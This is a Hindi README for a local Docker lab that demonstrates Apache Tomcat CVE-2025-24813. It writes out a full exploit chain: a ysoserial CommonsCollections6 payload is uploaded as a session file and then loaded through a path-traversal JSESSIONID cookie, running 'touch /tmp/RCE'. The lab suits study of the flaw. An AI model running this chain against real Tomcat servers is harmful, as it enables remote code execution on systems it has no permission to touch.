
प्रूफ-ऑफ-कॉन्सेप्ट जो Apache Tomcat CVE-2025-24813 को प्रदर्शित करता है, असुरक्षित DefaultServlet PUT और सत्र डिसीरियलाइज़ेशन का शोषण करके रिमोट कोड निष्पादन प्राप्त करता है।
यह रिपॉजिटरी CVE-2025-24813 के व्यवहार का निरीक्षण करने के लिए बनाई गई एक सरल एप्लिकेशन है, जो Apache Tomcat में एक हालिया कमजोरी है, जो DefaultServlet के लेखन-सक्षम (readonly=false) उपयोग से संबंधित है, जो HTTP PUT (partial PUT / Content-Range समर्थन सहित) के माध्यम से असुरक्षित लेखन कार्यों की अनुमति देती है, जो संवेदनशील फ़ाइलों को अधिलेखित कर सकती है, जिसमें सत्र फ़ाइलें भी शामिल हैं — जिससे दुर्भावनापूर्ण डिसीरियलाइज़ेशन होने पर RCE परिदृश्य संभव हो जाते हैं।
एप्लिकेशन उपयोग करता है:
| घटक | कार्य |
|---|
| Tomcat 9 + JDK 11 | लक्ष्य के रूप में उपयोग किया गया कमजोर सर्वर |
context.xml | PersistentManager + FileStore को सक्षम करता है जो सत्रों को डिस्क पर सहेजता है |
upload.jsp | सरल एंडपॉइंट जो डेटा प्राप्त करता है और डिस्क पर लिखता है |
/tmp/app-data/ | वह निर्देशिका जहाँ अपलोड सहेजे जाएँगे |
प्रारंभिक विचार यह देखना है कि Tomcat CVE के अध्ययन के लिए कॉन्फ़िगर किए गए वातावरण में फ़ाइलों को कैसे संभालता है — एक हानिरहित अनुरोध से शुरू करके, जो केवल नियंत्रित तरीके से एक फ़ाइल लिखता है (बिना शोषण प्रयास के) और फिर एक दुर्भावनापूर्ण फ़ाइल।
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
दूसरे टर्मिनल में नीचे दिए गए कमांड चलाएँ।
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
हम सामान्य व्यवहार का निरीक्षण करने के लिए एक सरल फ़ाइल भेजेंगे।
एक स्ट्रिंग भेजकर अपलोड करें
echo "Arquivo Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Essa é apenas uma mensagem simples."
यदि सब कुछ सही है, तो strace चलाने वाले टर्मिनल में कुछ भी दिखाई नहीं देना चाहिए।
नोट: यदि strace में SIGSEGV त्रुटियाँ दिखाई देती हैं, तो उन्हें अनदेखा करें। वे JVM के शोर हैं।
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
यहाँ हम CommonsCollections4 श्रृंखला का उपयोग एक ऑब्जेक्ट उत्पन्न करने के लिए करते हैं जो, एक कमजोर परिदृश्य में, touch /tmp/RCE कमांड को निष्पादित कर सकता है। पेलोड को hack.session के रूप में सहेजा जाएगा।
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
यदि पिछला कमांड त्रुटि देता है, तो इसका कारण यह है कि जावा के आधुनिक संस्करणों (9+) के साथ संगतता सुनिश्चित करने के लिए, मजबूत एनकैप्सुलेशन (JPMS) को निष्क्रिय करने के लिए --add-opens फ्लैग जोड़ना आवश्यक है, जो अन्यथा ysoserial द्वारा उपयोग किए जाने वाले रिफ्लेक्शन को अवरुद्ध करेगा।
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
इस कमांड के बाद आपके पास एक स्थानीय बाइनरी फ़ाइल होगी:
hack.session
हम .session फ़ाइल को JSP एंडपॉइंट पर भेजते हैं, जो सामग्री को सीधे /tmp/app-data निर्देशिका में लिखता है।
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
अपेक्षित आउटपुट:
फ़ाइल सफलतापूर्वक सहेजी गई: /tmp/app-data/hack.session
📌 इस समय कोई कमांड निष्पादित नहीं होता है — केवल सर्वर पर फ़ाइल लेखन हुआ है।
अब हम कुकी JSESSIONID=hack भेजकर एक अनुरोध करते हैं, टॉमकैट को नवनिर्मित सत्र लोड करने के लिए मजबूर करने का प्रयास करते हैं।
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
strace टर्मिनल में देखने पर execve कमांड द्वारा फ़ाइल बनाने के संकेत दिखाई देने चाहिए।
यह देखने के लिए कि फ़ाइल बनाई गई है या नहीं, हम कंटेनर में प्रवेश करके भी जाँच सकते हैं
docker exec -it toy-cve ls -l /tmp/